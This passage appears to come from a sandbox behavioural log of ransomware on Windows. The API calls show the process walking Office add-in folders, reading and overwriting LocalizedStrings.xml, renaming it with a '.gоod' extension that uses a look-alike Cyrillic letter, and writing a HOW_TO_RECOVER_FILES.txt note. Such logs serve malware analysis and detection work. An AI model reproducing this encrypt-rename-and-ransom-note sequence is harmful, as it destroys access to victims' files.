lpOldMode=0x206ecbf0) returned 1 [0267.777] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he", lpFilePart=0x0) returned 0x51 [0267.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0267.778] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.778] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0267.778] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0267.778] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf428c77b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0267.779] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c63313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c63313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c895d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0267.779] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c20913, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c20913, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20aa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0267.779] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0267.779] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c62325, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c62325, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c62325, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0267.779] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x38b7c4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38b7c4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3a5b63a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0267.779] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb78613f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb78613f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb7d2609, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0267.780] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0267.780] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00af60a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0267.780] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x456248c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0267.780] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cc6b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cc6b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cc6b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0267.780] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa89f599, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x72aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0267.780] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf263c7d5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0267.781] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf75a8fbb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0267.781] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7d7750, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7d7750, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d7750, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0267.781] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0267.781] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0267.781] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0267.782] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0267.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0267.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0267.782] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0267.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0267.782] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x3c4b2e0 | out: lpFileInformation=0x3c4b2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad)) returned 1 [0267.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0267.799] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0267.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0267.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0267.800] GetFileType (hFile=0x824) returned 0x1 [0267.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0267.800] GetFileType (hFile=0x824) returned 0x1 [0267.800] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0267.800] ReadFile (in: hFile=0x824, lpBuffer=0x3c4b798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3c4b798*, lpNumberOfBytesRead=0x206ec9c8*=0x2ad, lpOverlapped=0x0) returned 1 [0268.494] CloseHandle (hObject=0x824) returned 1 [0268.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0268.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0268.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0268.500] GetFileType (hFile=0x824) returned 0x1 [0268.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0268.500] GetFileType (hFile=0x824) returned 0x1 [0268.500] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x12ad [0268.500] WriteFile (in: hFile=0x824, lpBuffer=0x3a3ae18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3a3ae18*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0268.501] CloseHandle (hObject=0x824) returned 1 [0268.501] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0268.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0268.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0268.501] GetFileType (hFile=0x824) returned 0x1 [0268.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0268.501] GetFileType (hFile=0x824) returned 0x1 [0268.501] ReadFile (in: hFile=0x824, lpBuffer=0x3a3d128, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3a3d128*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0268.527] CloseHandle (hObject=0x824) returned 1 [0268.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0268.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0268.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0268.528] GetFileType (hFile=0x824) returned 0x1 [0268.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0268.528] GetFileType (hFile=0x824) returned 0x1 [0268.528] WriteFile (in: hFile=0x824, lpBuffer=0x3a3be30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3a3be30*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0268.528] CloseHandle (hObject=0x824) returned 1 [0268.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0268.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0268.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0268.528] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c457051, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12bd)) returned 1 [0268.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0268.528] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\localizedstrings.xml.gоod")) returned 1 [0268.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0268.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0268.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0268.531] GetFileType (hFile=0x824) returned 0x1 [0268.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0268.531] GetFileType (hFile=0x824) returned 0x1 [0268.531] WriteFile (in: hFile=0x824, lpBuffer=0x3abc3e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3abc3e0*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0268.532] CloseHandle (hObject=0x824) returned 1 [0268.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0268.532] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi", lpFilePart=0x0) returned 0x51 [0268.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0268.533] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.533] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, 